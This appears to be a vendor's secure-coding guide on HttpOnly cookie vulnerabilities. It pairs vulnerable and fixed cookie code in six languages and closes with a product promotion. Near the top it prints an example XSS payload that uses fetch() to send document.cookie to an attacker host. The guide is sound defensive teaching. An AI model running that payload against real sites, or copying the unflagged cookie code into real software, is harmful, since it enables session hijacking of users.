HttpOnly Cookie Vulnerabilities

Learn how to prevent HttpOnly cookie vulnerabilities with real code examples and best practices. Protect your web applications from session hijacking and XSS attacks.

Tools recognizing this:

Opengrep Fortify Checkmarx SonarQube Snyk Semgrep CodeQL

What is HttpOnly Cookie and Why is it Important?

The HttpOnly flag is a security feature that helps prevent client-side access to cookie data through JavaScript. When a cookie is set with the HttpOnly flag, it becomes inaccessible to client-side scripting languages like JavaScript, helping protect against Cross-Site Scripting (XSS) attacks.

Without the HttpOnly flag, cookies are vulnerable to:

• Theft through XSS attacks

• Session hijacking

• Unauthorized access to sensitive cookie data

• Client-side manipulation of cookie values

This guide covers HttpOnly cookie vulnerabilities, examples, prevention methods, and how to properly secure cookies in your applications.

One Simple HttpOnly Cookie Vulnerability Example

Consider this basic example of setting a cookie:

Cookie cookie = new Cookie("sessionId", sessionValue);
response.addCookie(cookie);

An attacker exploiting an XSS vulnerability could steal this cookie using JavaScript:

<script>fetch('https://attacker.com?cookie='+document.cookie)</script>

The cookie data would be accessible because the HttpOnly flag is not set, allowing the attacker to hijack the user's session.

HttpOnly Cookie Prevention Methods: How to Fix Your Code

The most effective way to fix HttpOnly cookie vulnerabilities is to explicitly set the HttpOnly flag when creating cookies. This ensures that the cookie cannot be accessed through client-side scripts, providing an additional layer of security against XSS attacks.

Code Samples

Java

Vulnerable Code

Cookie cookie = new Cookie("sessionId", sessionValue);

Fixed Code

Cookie cookie = new Cookie("sessionId", sessionValue);
cookie.setHttpOnly(true);
response.addCookie(cookie);

Fix Explanation

The vulnerable code creates a cookie without the HttpOnly flag.The fix explicitly sets the HttpOnly flag using setHttpOnly(true).This prevents JavaScript access to the cookie.The cookie becomes more resistant to XSS attacks.

JavaScript

Vulnerable Code

res.cookie('sessionId', sessionValue, {
    secure: true,
    maxAge: 3600000
});

Fixed Code

res.cookie('sessionId', sessionValue, {
    secure: true,
    httpOnly: true,
    maxAge: 3600000
});

Fix Explanation

The vulnerable code sets a cookie without the HttpOnly flag.The fix adds the httpOnly option to the cookie configuration.This prevents client-side JavaScript from accessing the cookie.The cookie becomes more secure against XSS attacks.

Python

Vulnerable Code

response.set_cookie('sessionId', session_value,
    secure=True,
    max_age=3600
)

Fixed Code

response.set_cookie('sessionId', session_value,
    secure=True,
    httponly=True,
    max_age=3600
)

Fix Explanation

The vulnerable code creates a cookie without the HttpOnly flag.The fix adds the httponly parameter set to True.This prevents JavaScript from accessing the cookie.The cookie becomes protected against client-side script access.

C#

Vulnerable Code

HttpCookie cookie = new HttpCookie("sessionId", sessionValue);
Response.Cookies.Add(cookie);

Fixed Code

HttpCookie cookie = new HttpCookie("sessionId", sessionValue);
cookie.HttpOnly = true;
Response.Cookies.Add(cookie);

Fix Explanation

The vulnerable code creates a cookie without the HttpOnly property.The fix sets the HttpOnly property to true.This prevents client-side access to the cookie.The cookie becomes more secure against XSS attacks.

PHP

Vulnerable Code

setcookie("sessionId", $sessionValue,
    time() + 3600,
    "/",
    "example.com",
    true
);

Fixed Code

setcookie("sessionId", $sessionValue,
    time() + 3600,
    "/",
    "example.com",
    true,
    true
);

Fix Explanation

The vulnerable code sets a cookie without the HttpOnly flag.The fix adds true as the last parameter to enable HttpOnly.This prevents JavaScript access to the cookie.The cookie becomes protected against client-side access.

Ruby

Vulnerable Code

cookies[:session_id] = {
  value: session_value,
  expires: 1.hour.from_now,
  secure: true
}

Fixed Code

cookies[:session_id] = {
  value: session_value,
  expires: 1.hour.from_now,
  secure: true,
  httponly: true
}

Fix Explanation

The vulnerable code creates a cookie without the HttpOnly flag.The fix adds the httponly: true option to the cookie.This prevents JavaScript from accessing the cookie.The cookie becomes more secure against XSS attacks.

Need more help in preventing HttpOnly Cookie vulnerabilities?

Mobb supports fixing many forms of HttpOnly Cookie vulnerabilities, and can mitigate your issues in batch.

Start now for free at app.mobb.ai

We'd love your feedback!

We're excited to hear your thoughts and ideas about fixing vulnerabilities.

Book a meeting or Contact us if you have any corrections, questions or suggestions. Start now for free at https://app.mobb.ai